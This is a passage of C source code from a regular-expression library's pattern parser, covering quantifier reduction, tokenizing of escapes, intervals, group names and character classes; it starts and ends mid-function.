} } else { if (q->lower == 0) { if (q->upper == 1) return 3; else if (IS_REPEAT_INFINITE(q->upper)) return 4; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 5; } } return -1; } enum ReduceType { RQ_ASIS = 0, /* as is */ RQ_DEL = 1, /* delete parent */ RQ_A, /* to '*' */ RQ_AQ, /* to '*?' */ RQ_QQ, /* to '??' */ RQ_P_QQ, /* to '+)??' */ RQ_PQ_Q /* to '+?)?' */ }; static enum ReduceType ReduceTypeTable[6][6] = { {RQ_DEL, RQ_A, RQ_A, RQ_QQ, RQ_AQ, RQ_ASIS}, /* '?' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_P_QQ, RQ_P_QQ, RQ_DEL}, /* '*' */ {RQ_A, RQ_A, RQ_DEL, RQ_ASIS, RQ_P_QQ, RQ_DEL}, /* '+' */ {RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL, RQ_AQ, RQ_AQ}, /* '??' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL}, /* '*?' */ {RQ_ASIS, RQ_PQ_Q, RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL} /* '+?' */ }; extern void onig_reduce_nested_quantifier(Node* pnode, Node* cnode) { int pnum, cnum; QtfrNode *p, *c; p = NQTFR(pnode); c = NQTFR(cnode); pnum = popular_quantifier_num(p); cnum = popular_quantifier_num(c); if (pnum < 0 || cnum < 0) return ; switch(ReduceTypeTable[cnum][pnum]) { case RQ_DEL: *pnode = *cnode; break; case RQ_A: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 1; break; case RQ_AQ: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 0; break; case RQ_QQ: p->target = c->target; p->lower = 0; p->upper = 1; p->greedy = 0; break; case RQ_P_QQ: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 0; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 1; return ; break; case RQ_PQ_Q: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 1; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 0; return ; break; case RQ_ASIS: p->target = cnode; return ; break; } c->target = NULL_NODE; onig_node_free(cnode); } enum TokenSyms { TK_EOT = 0, /* end of token */ TK_RAW_BYTE = 1, TK_CHAR, TK_STRING, TK_CODE_POINT, TK_ANYCHAR, TK_CHAR_TYPE, TK_BACKREF, TK_CALL, TK_ANCHOR, TK_OP_REPEAT, TK_INTERVAL, TK_ANYCHAR_ANYTIME, /* SQL '%' == .* */ TK_ALT, TK_SUBEXP_OPEN, TK_SUBEXP_CLOSE, TK_CC_OPEN, TK_QUOTE_OPEN, TK_CHAR_PROPERTY, /* \p{...}, \P{...} */ /* in cc */ TK_CC_CLOSE, TK_CC_RANGE, TK_POSIX_BRACKET_OPEN, TK_CC_AND, /* && */ TK_CC_CC_OPEN /* [ */ }; typedef struct { enum TokenSyms type; int escaped; int base; /* is number: 8, 16 (used in [....]) */ UChar* backp; union { UChar* s; int c; OnigCodePoint code; int anchor; int subtype; struct { int lower; int upper; int greedy; int possessive; } repeat; struct { int num; int ref1; int* refs; int by_name; #ifdef USE_BACKREF_WITH_LEVEL int exist_level; int level; /* \k<name+n> */ #endif } backref; struct { UChar* name; UChar* name_end; int gnum; } call; struct { int ctype; int not; } prop; } u; } OnigToken; static int fetch_range_quantifier(UChar** src, UChar* end, OnigToken* tok, ScanEnv* env) { int low, up, syn_allow, non_low = 0; int r = 0; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; PFETCH_READY; syn_allow = IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INVALID_INTERVAL); if (PEND) { if (syn_allow) return 1; /* "....{" : OK! */ else return ONIGERR_END_PATTERN_AT_LEFT_BRACE; /* "....{" syntax error */ } if (! syn_allow) { c = PPEEK; if (c == ')' || c == '(' || c == '|') { return ONIGERR_END_PATTERN_AT_LEFT_BRACE; } } low = onig_scan_unsigned_number(&p, end, env->enc); if (low < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (low > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == *src) { /* can't read low */ if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV)) { /* allow {,n} as {0,n} */ low = 0; non_low = 1; } else goto invalid; } if (PEND) goto invalid; PFETCH(c); if (c == ',') { UChar* prev = p; up = onig_scan_unsigned_number(&p, end, env->enc); if (up < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (up > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == prev) { if (non_low != 0) goto invalid; up = REPEAT_INFINITE; /* {n,} : {n,infinite} */ } } else { if (non_low != 0) goto invalid; PUNFETCH; up = low; /* {n} : exact n times */ r = 2; /* fixed */ } if (PEND) goto invalid; PFETCH(c); if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) { if (c != MC_ESC(env->syntax)) goto invalid; PFETCH(c); } if (c != '}') goto invalid; if (!IS_REPEAT_INFINITE(up) && low > up) { return ONIGERR_UPPER_SMALLER_THAN_LOWER_IN_REPEAT_RANGE; } tok->type = TK_INTERVAL; tok->u.repeat.lower = low; tok->u.repeat.upper = up; *src = p; return r; /* 0: normal {n,m}, 2: fixed {n} */ invalid: if (syn_allow) { /* *src = p; */ /* !!! Don't do this line !!! */ return 1; /* OK */ } else return ONIGERR_INVALID_REPEAT_RANGE_PATTERN; } /* \M-, \C-, \c, or \... */ static int fetch_escaped_value(UChar** src, UChar* end, ScanEnv* env, OnigCodePoint* val) { int v; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH_S(c); switch (c) { case 'M': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META)) { if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c != '-') return ONIGERR_META_CODE_SYNTAX; if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c = ((c & 0xff) | 0x80); } else goto backslash; break; case 'C': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL)) { if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c != '-') return ONIGERR_CONTROL_CODE_SYNTAX; goto control; } else goto backslash; case 'c': if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_C_CONTROL)) { control: if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c == '?') { c = 0177; } else { if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c &= 0x9f; } break; } /* fall through */ default: { backslash: c = conv_backslash_value(c, env); } break; } *src = p; *val = c; return 0; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env); static OnigCodePoint get_name_end_code_point(OnigCodePoint start) { switch (start) { case '<': return (OnigCodePoint )'>'; break; case '\'': return (OnigCodePoint )'\''; break; default: break; } return (OnigCodePoint )0; } #ifdef USE_NAMED_GROUP #ifdef USE_BACKREF_WITH_LEVEL /* \k<name+n>, \k<name-n> \k<num+n>, \k<num-n> \k<-num+n>, \k<-num-n> */ static int fetch_name_with_level(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int* rlevel) { int r, sign, is_num, exist_level; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; is_num = exist_level = 0; sign = 1; pnum_head = *src; end_code = get_name_end_code_point(start_code); name_end = end; r = 0; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')' || c == '+' || c == '-') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0 && c != end_code) { if (c == '+' || c == '-') { int level; int flag = (c == '-' ? -1 : 1); if (PEND) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; goto end; } PFETCH(c); if (! ONIGENC_IS_CODE_DIGIT(enc, c)) goto err; PUNFETCH; level = onig_scan_unsigned_number(&p, end, enc); if (level < 0) return ONIGERR_TOO_BIG_NUMBER; *rlevel = (level * flag); exist_level = 1; if (!PEND) { PFETCH(c); if (c == end_code) goto end; } } err: r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } end: if (r == 0) { if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) goto err; *rback_num *= sign; } *rname_end = name_end; *src = p; return (exist_level ? 1 : 0); } else { onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_BACKREF_WITH_LEVEL */ /* ref: 0 -> define name (don't allow number name) 1 -> reference name (allow number name) */ static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; *rback_num = 0; end_code = get_name_end_code_point(start_code); name_end = end; pnum_head = *src; r = 0; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH_S(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { if (ref == 1) is_num = 1; else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (c == '-') { if (ref == 1) { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0) { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; else r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } } if (c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; } *rname_end = name_end; *src = p; return 0; } else { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') break; } if (PEND) name_end = end; err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #else static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; UChar *name_end; OnigEncoding enc = env->enc; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; end_code = get_name_end_code_point(start_code); *rname_end = name_end = end; r = 0; pnum_head = *src; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')') break; if (! ONIGENC_IS_CODE_DIGIT(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } if (r == 0 && c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (r == 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; *rname_end = name_end; *src = p; return 0; } else { err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_NAMED_GROUP */ static void CC_ESC_WARN(ScanEnv* env, UChar *c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"character class has '%s' without escape", c); (*onig_warn)((char* )buf); } } static void CLOSE_BRACKET_WITHOUT_ESC_WARN(ScanEnv* env, UChar* c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV((env)->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, (env)->enc, (env)->pattern, (env)->pattern_end, (UChar* )"regular expression has '%s' without escape", c); (*onig_warn)((char* )buf); } } static UChar* find_str_position(OnigCodePoint s[], int n, UChar* from, UChar* to, UChar **next, OnigEncoding enc) { int i; OnigCodePoint x; UChar *q; UChar *p = from; while (p < to) { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) { if (IS_NOT_NULL(next)) *next = q; return p; } } p = q; } return NULL_UCHARP; } static int str_exist_check_with_esc(OnigCodePoint s[], int n, UChar* from, UChar* to, OnigCodePoint bad, OnigEncoding enc, OnigSyntaxType* syn) { int i, in_esc; OnigCodePoint x; UChar *q; UChar *p = from; in_esc = 0; while (p < to) { if (in_esc) { in_esc = 0; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) return 1; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); if (x == bad) return 0; else if (x == MC_ESC(syn)) in_esc = 1; p = q; } } } return 0; } static int fetch_token_in_cc(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int num; OnigCodePoint c, c2; OnigSyntaxType* syn = env->syntax; OnigEncoding enc = env->enc; UChar* prev; UChar* p = *src; PFETCH_READY; if (PEND) { tok->type = TK_EOT; return tok->type; } PFETCH(c); tok->type = TK_CHAR; tok->base = 0; tok->u.c = c; tok->escaped = 0; if (c == ']') { tok->type = TK_CC_CLOSE; } else if (c == '-') { tok->type = TK_CC_RANGE; } else if (c == MC_ESC(syn)) { if (! IS_SYNTAX_BV(syn, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) goto end; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH(c); tok->escaped = 1; tok->u.c = c; switch (c) { case 'w': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'd': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 's': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'p': case 'P': if (PEND) break; c2 = PPEEK; if (c2 == '{' && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c2); if (c2 == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { c2 = PPEEK; if (ONIGENC_IS_CODE_XDIGIT(enc, c2)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) { PINC; tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { PUNFETCH; prev = p; num = scan_unsigned_octal_number(&p, end, 3, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } break; default: PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; if (tok->u.c != c2) { tok->u.code = c2; tok->type = TK_CODE_POINT; } break; } } else if (c == '[') { if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_POSIX_BRACKET) && (PPEEK_IS(':'))) { OnigCodePoint send[] = { (OnigCodePoint )':', (OnigCodePoint )']' }; tok->backp = p; /* point at '[' is read */ PINC; if (str_exist_check_with_esc(send, 2, p, end, (OnigCodePoint )']', enc, syn)) { tok->type = TK_POSIX_BRACKET_OPEN; } else { PUNFETCH; goto cc_in_cc; } } else { cc_in_cc: if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP)) { tok->type = TK_CC_CC_OPEN; } else { CC_ESC_WARN(env, (UChar* )"["); } } } else if (c == '&') { if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP) && !PEND && (PPEEK_IS('&'))) { PINC; tok->type = TK_CC_AND; } } end: *src = p; return tok->type; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, num; OnigCodePoint c; OnigEncoding enc = env->enc; OnigSyntaxType* syn = env->syntax; UChar* prev; UChar* p = *src; PFETCH_READY; start: if (PEND) { tok->type = TK_EOT; return tok->type; } tok->type = TK_STRING; tok->base = 0; tok->backp = p; PFETCH(c); if (IS_MC_ESC_CODE(c, syn)) { if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; tok->backp = p; PFETCH(c); tok->u.c = c; tok->escaped = 1; switch (c) { case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_ASTERISK_ZERO_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_PLUS_ONE_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_QMARK_ZERO_ONE)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; greedy_check: if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_NON_GREEDY)) { PFETCH(c); tok->u.repeat.greedy = 0; tok->u.repeat.possessive = 0; } else { possessive_check: if (!PEND && PPEEK_IS('+') && ((IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT) && tok->type != TK_INTERVAL) || (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_INTERVAL) && tok->type == TK_INTERVAL))) { PFETCH(c); tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 1; } else { tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 0; } } break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case 'w': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'b': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BOUND; break; case 'B': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_NOT_WORD_BOUND; break; #ifdef USE_WORD_BEGIN_END case '<': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BEGIN; break; case '>': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_END; break; #endif case 's': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'd': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'A': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; begin_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_BUF; break; case 'Z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_SEMI_END_BUF; break; case 'z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; end_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_END_BUF; break; case 'G': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_CAPITAL_G_BEGIN_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_POSITION; break; case '`': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto begin_buf; break; case '\'': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto end_buf; break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { if (ONIGENC_IS_CODE_XDIGIT(enc, PPEEK)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if ((p > prev + enclen(enc, prev)) && !PEND && PPEEK_IS('}')) { PINC; tok->type = TK_CODE_POINT; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': PUNFETCH; prev = p; num = onig_scan_unsigned_number(&p, end, enc); if (num < 0 || num > ONIG_MAX_BACKREF_NUM) { goto skip_backref; } if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_DECIMAL_BACKREF) && (num <= env->num_mem || num <= 9)) { /* This spec. from GNU regex */ if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; 